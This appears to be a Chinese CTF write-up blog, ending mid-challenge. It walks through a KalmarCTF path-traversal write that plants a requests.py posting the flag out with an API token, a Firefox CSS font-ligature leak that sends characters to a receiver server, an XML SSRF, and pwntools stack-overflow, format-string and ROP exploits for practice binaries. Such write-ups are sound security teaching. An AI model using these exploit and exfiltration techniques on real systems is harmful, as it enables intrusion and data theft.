mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
4995 字
14 分钟
ChaoMixian-WriteUp-20260405
2026-04-05

EvilBabyKalmarCTF#

该版本的scraper(d0585767ddfa61920b982398f140f84e1ae2486f)存在漏洞,没有处理异常的路径解析,导致可以进行路径穿越,任意文件写入。由于download.py位于/tmp/download.py,写入/tmp/requests.py可以执行任意代码。

scraper容器不出网,需要从ctfd容器下载requests.py,并且将flag发送至ctfd的通知。审计download.py,发现程序存在bug,需要第一个题目是路径格式正确的,且存在一个附件。

依次创建两个题目,名称、分类任意。id=1的题目需要上传一个正常附件;id=2的题目上传文件到tmp/requests.py,并且在README写入以下Payload:

![requests.py](/files/tmp/requests.py#a/../../../../../../../../../../tmp/requests.py)

由于解析漏洞,requests.py将会被写入/tmp/requests.py

import urllib.request
import json
API_TOKEN = "ctfd_a7167b5d2028c1fe411dcc5489ae409e03af0260fd731146b3da672b6833a962"
with open('/flag.txt', 'r') as f:
flag = f.read().strip()
data = {
"title": "flag",
"content": flag
}
json_data = json.dumps(data).encode('utf-8')
req = urllib.request.Request("http://ctfd:8000/api/v1/notifications", data=json_data, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("Authorization", f"Token {API_TOKEN}")
urllib.request.urlopen(req)

等待约30秒,通知中将会出现MISC部分的flag。

kalmar{EvilBabyKalmarCTF-naughty_naughty_little_one,when_did_you_turn_evil?}

sealed_board#

学习到了一种很有意思的XSS技巧,仅通过CSS来泄露任意数据。研究了两天,来分享一下心得。

题目#

Codegate 2026 Quals 出了一道很有意思的 Web 题目:sealed_board。简单介绍场景:

  • xss 但仅可注入 style 标签
  • selenium 无头 Firefox(140.0esr)
  • adminbot 携带 token,页面会出现 #flag 标签

简化一下 adminbot 看到的前端 html:

<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Sealed Board</title>
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<main id="page" class="page">
<article class="hero-card">
<p>"If you want to keep a secret, you must also hide it from yourself."</p>
<p>&mdash; George Orwell, 1984</p>
</article>
<div id="flag" data-protected-flag="1">codegate2026{fake_flag}</div>
</main>
<script src="/static/js/purify.min.js"></script>
<style>
/* 这里可以注入 css 样式 */
</style>
<script src="/static/js/app.js"></script>
</body>
</html>

目标就是泄露 #flag 标签,不过 app.js 还有额外的限制:

(function() {
var p = document.getElementById('page');
if (!p) return;
var getProtectedFlag = function() {
for (var i = 0; i < p.children.length; i += 1) {
var node = p.children[i];
if (
node &&
node.id === 'flag' &&
node.getAttribute('data-protected-flag') === '1'
) {
return node;
}
}
return null;
};
var f = getProtectedFlag();
if (!f) return;
var saved = f.textContent;
f.textContent = '';
f.style.display = 'none';
var check = function() {
f = getProtectedFlag();
if (!f || !f.parentNode) return;
var display = getComputedStyle(f).display;
if (display === 'none') return;
if (display === 'contents') {
f.remove();
return;
}
if (f.checkVisibility()) {
f.remove();
return;
}
if (!f.textContent) f.textContent = saved;
};
setInterval(check, 50);
new MutationObserver(check).observe(p, { childList: true, subtree: true, attributes: true });
})();

这段 js 每隔 50ms 就会检查一次。可以看到,如果 display 不等于 none,会执行 f.remove() 从 DOM 中移除 flag。display: contents 同样也会被移除。不过,当内容为空且隐藏时,又会将 saved 放回。

Fontleak#

暂且不考虑上文提到的check机制,如何仅通过css来泄露#flag呢?Google CSS Leak能找到一项名为 Fontleak 的研究:

就像视频里演示的那样,这项技术甚至可以泄露script标签内的数据,而且只需要简单的一行 <style> @import url('/'); </style>。作者在GitHub提供了完整的工具,那么接下来就结合这篇文章代码来分析一下Fontleak的原理。

Ligatures#

Ligatures 是指 连体字。比如一些字体里,>= 会连体成为 ,又比如fi可能会写作连体。 ligatures

那么Fontleak是如何利用连体来侧信道的呢?其实思路很质朴,通过长度。如果攻击者提供一个特制的字体,控制了任意两个字符连体后那个图形的宽度,那么就可以通过宽度来侧信道泄露数据了。

举个例子,比如我有 CODEGATE,注入css,默认字宽5px,提供一个特殊的连字规则,规定C和A连字的宽度是11pxC和B连字的宽度是12pxC和C连字的宽度是13pxC和O连字的宽度是20px。可以想象,只要我们有一个足够完整的映射表,就能通过整段字符的长度来侧信道泄露每一位字符。

我的示意图很曼妙 我的示意图很曼妙

好了你已经能够操控字体了,但是数据怎么外带呢?

Container Query#

CSS并没有提供一个可以测量文本长度的方法,因为可能导致循环触发。不过CSS提供了容器宽度变化后的回调函数。还是以上方例子为例,比方说我现在确定了C和O,文本长度从40px变成了50px,我们提供这段CSS:

@container leak (width: 41px) {
head::before {
content: url("http://localhost:4242/leak?data=CA");
}
}
@container leak (width: 42px) {
head::before {
content: url("http://localhost:4242/leak?data=CB");
}
}
/* 省略 */
@container leak (width: 50px) {
head::before {
content: url("http://localhost:4242/leak?data=CO");
}
}
/* 这里我们想泄露的是#flag标签 */
#flag::before {
margin: 0 !important;
padding: 0 !important;
font-family: 'fontleak' !important;
font-size: 1000px !important;
white-space: pre-line !important;
content: "\100";
}

很巧妙吧?但实际上会更复杂一些,因为我们需要通过 容器长度 - 初始长度 + 偏移量 来推测真实长度对应的字符,所以并不会是直接写41px、42px这样。不过这都好解决,因为提供什么CSS完全由我们控制。

其实到这里为止,本题就已经能够解了。下面是Fontleak的优化措施。

能够优化吗?#

Chrome 会动态加载@import,先完成加载的外部CSS会立即应用,后加载的外部CSS会随加载完成覆盖应用。也就是说,可以通过精准控制外部CSS提供的延迟,逐步控制字体连字的行为。当前一次连字完成的同时,再次请求下一段特制的字体,这次包含已知前缀,比如CO+A、CO+B、CO+C、CO+D,让字体去碰撞连接,并且回传长度。以此循环,可以动态且快速地泄露数据。

感觉不太好解释,举个例子吧。最开始的@import会包含以下内容:

<script>
/* 这个请求会立刻响应 */
@import url('/?step=0');
/* 这个请求会等待第一位字符泄露后响应 */
@import url('/?step=1');
</script>

每当接收端收到一位泄露的字符,step就进一位。每次的CSS Payload都会包含下一次的@import载荷,但是会等到前一次泄露完成才提供

其实这就是 Sequential Import Chaining。非常像是 Chrome 能做出来的性能优化方式,但也只有 Chrome 能够使用。

那么 Firefox 就无解了嘛?其实也不是。有个邪修方法,通过动画:

/* 还是假设我们要泄露#flag节点 */
#flag::before {
content: "";
/* 这个动画我调过了,实际会通过字符集数量以及每一次leak的时长来动态计算动画周期 */
animation: fontCycle 3.0s steps(1) infinite 0s;
}
@keyframes fontCycle {
0.0% {
content: "\100";
}
1.0% {
content: "\101";
}
2.0% {
content: "\102";
}
/* 省略其他字符 */
97.0% {
content: "\161";
}
98.0% {
content: "\162";
}
99.0% {
content: "\163";
}
}

每一个动画关键帧都去碰撞一位字符,一旦碰撞成功就会立即发生连字,然后外带请求。如果已知字符集,那么关键帧数量就可以大大减少,动画时间也可以略微调小,泄露地就越快。确实相当邪修了。

另外需要注意,Firefox要求所有的@import使用单独的<script>标签。

本题怎么做?#

Fontleak确实是sealed_board的考点,但是出题人真正想考的是他发现的一个Firefox的bug(真的呀,我问过他了): content-visibility does not skip background-image loading (unlike display)

当一个元素不可见时,它就不会被渲染,也就意味着没有数据可以被外带(url不会被请求)。而出题人发现当属性为content-visibility:hidden时,依然尝试加载了外部背景图片。这给外带数据带来了可能。(在这一步卡了很久,动画成功应用了,但无法外带数据)。

另一个需要知道的点是 !important 保留空间的特性。当#page { content-visibility: hidden !important; }时,该元素会隐藏,但依然占据空间,这使得Fontleak的长度测量依然有效。

因此本题的Payload(暂且略过转义)应该是:

/* 这里前面有提到,Firefox要求使用单独的script标签 */
<style>
@import url('http://localhost:4242/');
</style>
<style>
#flag { display: block !important; }
#page { content-visibility: hidden !important; }
</style>

http://localhost:4242/是Fontleak服务的地址,由于原项目的一些bug,只能通过环境变量来设置selector。通过以下命令启动:

# 注意这个转义
SELECTOR=\#flag PARENT=body BASE_URL=http://localhost:4242 uv run uvicorn fontleak.main:app --host 0.0.0.0 --port 4242

不过你大概还是收不到回传的请求,因为#flag并不是body下的根节点,而Fontleak项目没有考虑到这种情况,需要手动修改模板,在templates/dynamic-anim.css.jinja*下面加入:

body *:has({{ leak_selector }}) {
display: contents !important;
}

不能让#flag的父节点page隐藏,否则#flag也将不再可见。

最好再调一下闪烁动画,默认会延迟 1s 执行,但adminbot展示时间有限,改成立即执行,并且略微调快速度:

122c127
< animation: fontCycle {{ idx_max * 0.05 }}s steps(1) infinite 1s;
---
> animation: fontCycle {{ idx_max * 0.03 }}s steps(1) infinite 0s;

然后就能接到泄露出来的字符了。不过实际测试做不到连续泄露,只能用静态的方式,每次泄露一个字符。(其实偶尔能连续泄露,但动画再快就不稳定了)

完整的 Exploit 放在 GitHub 上,这是 Fontleak 的一个 Fork:链接。打开exploit.py,填入正确的靶机地址以及接收端的地址,然后执行:

python exploit.py

exploit

还有别的解法吗?#

有的。如果 50ms 进行一次 check,恰好在检查的那一刻隐藏,然后在不检查的时候显示,并且交换的周期也是 50ms,是不是就可以绕过检测了呢?

<style>
main#page {
font-size: 0 !important;
padding: 0 !important; margin: 0 !important; border: 0 !important;
animation: bypass 50ms infinite !important;
}
@keyframes bypass {
0%, 49% { content-visibility: hidden; }
50%, 100% { content-visibility: visible;}
}
</style>

这个Payload是真的可以的,我在有头Firefox里测试,#flag最多能存活超过12秒,这完全够用了,但是还是受限于Firefox的机制,闪烁成功概率极低,大概20次可能会出一个字符。据说有人用这个原理解出了,那比赛场景那么多人排队,估计得花相当久吧…


想学一点PWN#

长城杯半决赛被干傻了,AWDP的PWN题一道没做,ISW说是2/3是PWN题。力竭了,最佳配置应该是Web+PWN。虽说专精一个领域是很重要的的,但不管怎么样,多见识一些,总能让自己在面对复杂情景更游刃有余一点。昨天在ai指导下复现了ISW1,感觉还蛮有意思。今天兴致使然,配了一下pwntools。那么开始吧。

test_your_nc#

这题就是nc连上去cat flag,不过既然是pwn菜鸡,趁还简单,熟悉一下ida pro吧。

定位到main,按tab键反编译成C,如下:

int __fastcall main(int argc, const char **argv, const char **envp)
{
system("/bin/sh");
return 0;
}

所以是直接执行了system函数,并且传入了参数”/bin/sh”。

来看汇编: test_main

ida pro还是很方便的,比如command参数,会把具体值写在注释里。rbp指向当前函数栈帧的基址,rsp是栈顶指针。这个我感觉还蛮好理解的。

push rbp ; 把栈帧基址推上栈
mov rbp, rsp ; 把当前的rsp赋值给rbp,这样才真正确定了栈帧在内存的位置

这一段算是初始化环境,应该每个程序都会有吧。

lea rdi, command ; "/bin/sh"

lea是Load Effective Address,加载有效地址。就是把字符串作为参数,放到了rdi寄存器里。linux规定,第一个参数必须在rdi寄存器里(Linux x86-64)。

call _system

em这就是调用了C标准库的system函数,从rdi取出参数。

mov eax, 0

eax是用来储存返回值的寄存器,把0存入,对应C源码的return 0;

pop rbp
retn

弹栈,函数结束了,CPU会去执行rip中的地址。

昨天看了不少入门视频,感觉大体上有些了解了。具体细节目前还一无所知,什么大段序小段序,以及栈的具体结构、组成,都还不清楚。我给自己定了一周的学习目标,希望在2026/03/26~2026/04/04的学习后,能够独立完成基础题目。

rip#

rip是指令指针,存放着CPU要去执行的内存地址。如果能通过某些方式(比如栈溢出,这个感觉门槛会稍低一些)控制了rip,就能完全劫持CPU的执行流程,任意执行shellcode。

直接来看反编译吧,和长城杯那道很像。

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

都说危险的gets,那么危险就在于不检查长度,可以做到可控栈溢出。计算栈溢出的长度很重要。

看到这个char s[15]; // [rsp+1h] [rbp-Fh] BYREF,得知char s[15]位于[rbp-0xF],也就是从长度为15字节,而rbp本身占8字节,同时返回地址就在rbp上方。

x86/64上,栈是向下增长的,结构大概是:

返回地址
RBP (8字节)
s[15] (rbp-0x1)
s[14] (rbp-0x2)
...
s[1] (rbp-0xE)
s[0] (rbp-0xF)

所以想要修改返回地址,需要先填充15+8字节,也就是23字节,然后跟上需要跳转到的地址(p64,64位小端序)。题目里给了一个fun函数:

int fun()
{
return system("/bin/sh");
}

只要把返回地址写入这个函数的地址就可以了。ida pro可以很方便的找到他的起点// starts at 401186。这样一来就很清楚了,开始写这个简单的exp吧。

from pwn import *
io = process('./pwn1')
#io = remote('node5.buuoj.cn', 29248)
payload = b'A' * 23 + p64(0x401186)
io.sendline(payload)
io.interactive()

rip_local 这里不做过多解析,我相信几天后的自己也还是能看懂的。本地通了,结果远程不通?

(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/rip$ python exp.py
[+] Opening connection to node5.buuoj.cn on port 29248: Done
[*] Switching to interactive mode
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

Gemini说,这是64 位系统的栈对齐(Stack Alignment)限制。看不懂思密达。

1. 为什么会报错?
在 64 位 Linux 环境下(尤其是远程服务器常用的 Ubuntu 18.04 及以上版本),当程序调用 system 函数时,栈顶地址(RSP)必须是 16 字节对齐的(即地址的最后一位十六进制数必须是 0)。
如果你跳转到 fun 函数时,栈帧恰好没对齐,system 内部的一条指令 movaps 就会触发段错误(Segmentation Fault),导致远程连接直接关闭(EOF)。
2. 解决方法:多加一个 ret
我们需要在 Payload 中增加一个 ret 指令的地址。这相当于在跳转到 fun 之前先执行一个空操作,但这个操作会把栈指针平移 8 字节,从而实现 16 字节对齐。
步骤如下:
- 在 IDA 里的 fun 函数代码附近找一个 ret 指令的地址(或者用 ROPgadget 找)。
- 把这个地址插在偏移量和 fun 地址之间。

他给我的exp如下:

from pwn import *
# 建立连接
io = remote('node5.buuoj.cn', 29248)
# 找一个 ret 指令的地址用于对齐栈
# 你可以尝试在 IDA 搜索 'ret',或者直接找 fun 函数结尾的地址
ret_addr = 0x401185 # 这里我换成了main函数的retn的地址
fun_addr = 0x401186
# 构造新的 Payload
# 偏移 23 字节 + ret 地址 (对齐用) + 目标函数地址
payload = b'A' * 23 + p64(ret_addr) + p64(fun_addr)
io.sendline(payload)
io.interactive()

确实通了。诶,我好像有一点懂了,这个ret就和nop指令类似。ret指令会把栈顶弹出,写入rip,rsp+=8,这时候rsp就指向fun的地址了。

warmup_csaw_2016#

int sub_40060D()
{
return system("cat flag.txt");
}
int __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
_BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAu);
write(1, "WOW:", 4u);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9u);
write(1, ">", 1u);
return gets(v5);
}

计算一下offsets:

返回地址
RBP 8字节
v5[64] 64字节
s[64] 64字节

64+8=72

from pwn import *
io = process('./warmup_csaw_2016')
# io = remote('node5.buuoj.cn', 25922)
io.sendline(b'A' * 72 + p64(0x40060d))

ok,渐入佳境😂 warmup_csaw_2016_flag

ciscn_2019_n_1#

猜数游戏,示例输入输出:

Let's guess the number.
56
Its value should be 11.28125

不过输入什么都没用。源码不会骗人,来看ida pro怎么说。

int func()
{
_BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
func();
return 0;
}

所以需要再gets(v1)的时候,溢出到v2的部分,把他的值改成11.28125

还是画一下栈结构:

返回地址
RBP 8字节
v2 4字节(p32)
v1[44] 44字节

那么payload='A'*44 + v2,但是我不知道float在内存中是什么样子的。查到有个IEEE 754标准 IEEE-754

Gemini给了我一段脚本来转换float在内存中的hex,暂时不打算深入研究。

import struct
# pack('f', ...) 将浮点数转为字节流,'<I' 将其视为小端序整数读取
hex_val = hex(struct.unpack('<I', struct.pack('<f', 11.28125))[0])
print(hex_val) # 结果是 0x41348000

完整exp如下,从栈溢出入门感觉还是难度适中的。

from pwn import *
# io = process('./ciscn_2019_n_1')
io = remote('node5.buuoj.cn', 25384)
payload = b'A' * 44 + p32(0x41348000)
io.sendline(payload)

pwn1_sctf_2016#

坏了我本地跑不起来,居然是i386,得装multi-arch的lib了。

(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/pwn1_sctf_2016$ ./pwn1_sctf_2016
[qemu-i386]: Could not open '/lib/ld-linux.so.2': No such file or directory

安装i386支持:

sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 libncurses6:i386 libstdc++6:i386

ok,继续做题。

int get_flag()
{
return system("cat flag.txt");
}
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
_BYTE v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
_BYTE v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
_BYTE v6[7]; // [esp+48h] [ebp-10h] BYREF
_BYTE v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, _TMC_END__);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}

居然是C++吗。粗略看下来,程序会把I替换为you,也就说输入20个I,就会变成20个you(60字节)。测试下来也确实如此,触发了Segmentation fault pwn1_sctf_2016_Segmentation-fault

好大一坨,好恶心。不过应该可以选择性忽略那些allocator。get_flag()的地址是0x8048F0Dstrcpy(s, v0);会溢出,通过s溢出,把vuln的返回地址改成它应该就可以了。

const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
_BYTE v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
_BYTE v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
_BYTE v6[7]; // [esp+48h] [ebp-10h] BYREF
_BYTE v7[5]; // [esp+4Fh] [ebp-9h] BYREF

还是分析栈结构,(希望是)万变不离其宗。

返回地址 ebp+4
EBP 4字节(i386)
(Padding) 4字节 **这里想了很久,后面细说**
v7[5] 5字节
v6[7] 7字节
v5 1字节
v4[7] 7字节
v3[4] 4字节
s[32] 32字节

所以s到返回地址之间需要填充32+4+7+1+7+5+4=60字节。但是fgets(s, 32, _TMC_END__);是有长度限制的,算上NUL也只有32字节。这里需要用replace来使’I’膨胀为’you’。

构造payload:

target_addr = 0x8048F0D
payload = b'I' * 20 + p32(target_addr)

不过这个payload还是Segmentation fault了。真没招了,哪看都不对劲,这个char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF为什么是[ebp-3Ch]啊?3Ch=60,算上ebp本身的4字节,那应该是64了。原来又是为了栈对齐。那么这样列出来栈的结构到底有没有用呢,我不知道了,也就是说直接看ida pro给的offset就可以了是吧。

补上padding的4字节:

target_addr = 0x8048F0D
payload = b'I' * 20 + b'AAAA' + p32(target_addr)

通了,睡觉。

jarvisoj_level0#

int callsystem()
{
return system("/bin/sh");
}
ssize_t vulnerable_function()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200u);
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDu);
return vulnerable_function(1);
}

从buf的read时溢出到callsystem,buf长128字节,rbp是8字节,所以:

from pwn import *
io = process('./level0')
payload = b'A' * (128 + 8) + p64(0x400596)
io.sendline(payload)
io.interactive()

[第五空间2019 决赛]PWN5#

int __cdecl main(int a1)
{
time_t v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u); // 这里有限制长度
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}

密码是从/dev/urandom取的,那么就需要read buf的时候溢出到dword_804C044,把它改成已知值。去菜鸟教程查了一下atoi函数:

C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。

不过read(0, buf, 0x63u);限制了长度,buf有100字节呢。额啊不会做了。Gemini跟我说,当printf(buf);时,输入的%p、%x、 %n,都会被printf当成指令来执行。所以并不是栈溢出去覆盖dword_804C044,而是直接读取dword_804C044的4个字节。

$ ./pwn
your name:AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello,AAAA-0x40800028-0x63-(nil)-0x40800084-0x3-0x80482ac-0x40800084-0x40835b8c-0x1-0x41414141-0x2d70252d-0x252d7025
O�@your passwd:

可以看到,第10个%p打印了0x41414141,也就是AAAA。说明第10个变量刚好就是buf本身。结合exp来看吧

from pwn import *
io = process('./pwn')
target_addr = 0x0804C044
payload = p32(target_addr) + b"####%10$s"
io.sendline(payload)
io.recvuntil(b"####")
raw_data = io.recv(4)
password = u32(raw_data)
io.sendlineafter(b"your passwd:", str(password).encode())
io.interactive()

dword_804C044是全局变量,名字后面的hex就是他的地址。这一部分我理解起来还是有些困难的。printf是线性处理buf的,从buf的第一个字节开始处理。首先读取到0x0804C044这个地址,因为没有%,就会当成普通文本打印。接着遇到了b"####%10$s",先打印####,遇到%特殊指令。%10$s就是指去读取第10个参数,并且把地址解引用打印出来。而第10个参数刚好就是buf本身数据区域,而开头刚好是指向dword_804C044的地址,于是就去读取0x0804C044存储的值,也就是随机的密码,把它打印出来。为什么会有第几个参数这样的说法呢?因为只传给printf了buf参数啊,正常来说比如printf("%s", str);,后面就跟上了参数,这里没有,就会去栈上读了。

所以payload = p32(target_addr) + b'%p-%p-%p-%p-%p-%p-%p-%p-%p#%s'也是可以的(注意本身不要溢出) flag 另外需要注意,urandom生成的随机数可能会有/x00,这就直接截断了,不过毕竟是小概率事件(但我遇到了,如图),多试几次就行。

jarvisoj_level2#

ssize_t vulnerable_function()
{
_BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 0x100u);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

checksec看一下NX:

(ctf) jarvisoj_level2 checksec level2
[*] '/Users/chao/ctf/BUUCTF/PWN/jarvisoj_level2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

NX开了,那就没法栈溢出塞shellcode。所以需要复用main的system函数。在32位(x86)环境下,函数调用是通过栈来传递参数的。画一下vuln函数的栈结构:

返回地址 p32
EBP 4字节
buf[136] 136字节

offset是140。然后我就不会了,大致思路是找个地方写入/bin/sh,然后让system函数读取它。

(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/jarvisoj_level2$ readelf -S ./level2 | grep .bss
[25] .bss NOBITS 0804a02c 00102c 000004 00 WA 0 0 1
(base) chao@ubuntu:/Users/chao/ctf/BUUCTF/PWN/jarvisoj_level2$ ROPgadget --binary ./level2 | grep "pop"
0x080482f0 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080484aa : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret
0x08048515 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f2 : add esp, 8 ; pop ebx ; ret
0x08048514 : jecxz 0x8048499 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x08048513 : jne 0x80484f8 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f3 : les ecx, ptr [eax] ; pop ebx ; ret
0x08048516 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x08048517 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x0804851b : pop ebp ; ret
0x08048518 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f5 : pop ebx ; ret
0x0804851a : pop edi ; pop ebp ; ret
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080484b0 : popal ; cld ; ret
0x0804852f : rcr dword ptr [edx], cl ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

下面是Gemini给的exp,ai确实太厉害了:

from pwn import *
# 设置环境
context(os='linux', arch='i386', log_level='debug')
# 1. 加载二进制文件
p = process('./level2')
elf = ELF('./level2')
# 2. 准备地址
read_plt = elf.plt['read']
system_plt = elf.plt['system']
bss_addr = 0x0804a02c # 你搜到的 .bss 地址
pop3ret = 0x08048519 # 你找出的 pop esi; pop edi; pop ebp; ret
offset = 140
# 3. 构造 Payload
# --- 第一阶段:把 "/bin/sh" 写进 bss ---
payload = b'A' * offset
payload += p32(read_plt)
payload += p32(pop3ret) # read 执行完跳转到这里清理参数
payload += p32(0) # fd: stdin
payload += p32(bss_addr) # buf: 写入到 bss
payload += p32(8) # size: 8 字节
# --- 第二阶段:调用 system ---
payload += p32(system_plt)
payload += p32(0xdeadbeef) # system 的返回地址(不重要)
payload += p32(bss_addr) # system 的参数:刚才写入的 "/bin/sh"
# 4. 发送 Payload
p.sendlineafter(b"Input:", payload)
# 5. 发送要写入 .bss 的字符串
# 注意:这一步是发给程序里的 read 函数的
p.send(b"/bin/sh\x00")
# 6. 拿到 Shell
p.interactive()

我现在要把这段exp搞清楚。卧槽这就是rip rop吗,爱了爱了。

payload = b'A' * 140 + p32(read_plt) + p32(pop3ret) + p32(0) + p32(bss) + p32(8)

前面有提过,X86的参数必须在栈上,一个干净的栈应该是这样的:

- 返回地址
- 参数1
- 参数2
- 参数3
...

plt和got不做展开,搜一下就了解了,动态链接相关。这一段payload后,vuln函数的栈会变成:

栈上的位置内容角色
ESP (栈顶)read_pltCPU 正在这里执行
ESP + 4pop3ret返回地址(read 执行完后跳这里)
ESP + 80参数 1 (fd)
ESP + 12bss_addr参数 2 (buf)
ESP + 168参数 3 (size)

也就是当read执行完后,会进行pop3ret,把栈上的参数都弹掉,然后retn。而retn等价于pop eip,也就是从esp取出指令存入eip,然后esp向后移动4字节。那么继续向后接上system函数地址及参数。

payload += p32(system_plt)
payload += p32(0xdeadbeef) # system 的返回地址(不重要)
payload += p32(bss_addr) # system 的参数:刚才写入的 "/bin/sh"

flag 这个Debug模式好帅啊,符合我对pwn的固有印象

Bubulle Corp (Part 1/2)#

考察XML解析差异。需要SSRF到internal-proxy,访问http://bubulle-corp-internal-proxy/aaa,任意非根路径都能代理到打印flag.txt

存储xml时,有https要求,那么是无法SSRF到proxy的。

if request.method == "POST":
xml_data = request.form["settings"]
try:
root = ET.fromstring(xml_data.encode())
except ET.XMLSyntaxError:
return render_template("settings.html", user=user, error="Invalid XML")
if root.tag != "settings":
return render_template("settings.html", user=user, error="Root element must be <settings>")
child_tags = [elem.tag for elem in root]
if "icon_url" not in child_tags:
return render_template("settings.html", user=user, error="Missing <icon_url>")
if "method" not in child_tags:
return render_template("settings.html", user=user, error="Missing <method>")
for elem in list(root):
if elem.tag == "icon_url" and (not elem.text or not elem.text.startswith("https://")):
return render_template("settings.html", user=user, error="Icon URL must start with https://")
if elem.tag == "method" and elem.text not in ("GET", "POST"):
return render_template("settings.html", user=user, error="Method must be GET or POST")
if elem.tag not in ("icon_url", "method", "body"):
root.remove(elem)
clean = ET.tostring(root, encoding="unicode")
db.execute("UPDATE users SET settings = ? WHERE id = ?", (clean, session["user_id"]))
db.commit()
return redirect("/settings")

不过fetch头像处,并没有严格限制节点位置,而是使用find来查找.//icon_url,导致存在多个相同节点时,会取第一个。

root = ET.fromstring(settings_xml.encode())
icon_url = root.find(".//icon_url").text
method = root.find(".//method").text
body = root.find(".//body").text if root.find(".//body") else None

构造以下payload:

<settings>
<body>
<icon_url>http://bubulle-corp-internal-proxy/aaa</icon_url>
</body>
<icon_url>https://baidu.com</icon_url>
<method>GET</method>
</settings>

下载头像icon获得flag:

FCSC{c22f014ba1aac9b3c487989156c470b0}

Shellfish Say#

Finally the new version of Shrimp Say is out! Discover Shellfish Say! To ask the bot to say something, simply log in with: nc challenges.fcsc.fr 2256. Note: The VM of the event does not have access to the Internet.

请求nc会响应:

==========
Tips: There is a small race window (~10ms) when a new tab is opened where console.log won't return output :(
Note that your exploit must target http://shellfish-say/ to get the flag.
==========

有点没太看懂。

app/html/get_quote.php

<?php
$quote_file = "/tmp/quotes/";
if(isset($_GET["quote"])) {
if(strpos($_GET["quote"],":")) {
$quote_file .= parse_url($_GET["quote"].".txt")["path"];
} else {
if(strpos($_GET["quote"], "..")) {
$quote_file .= "shellfish.txt";
} else {
$quote_file .= $_GET["quote"].".txt";
}
}
} else {
$quote_file .= "shellfish.txt";
}
if(!file_exists($quote_file)) {
$quote_file = "/tmp/quotes/shellfish.txt";
}
readfile($quote_file);

哦还有个.htaccess的重写规则:

RewriteEngine On
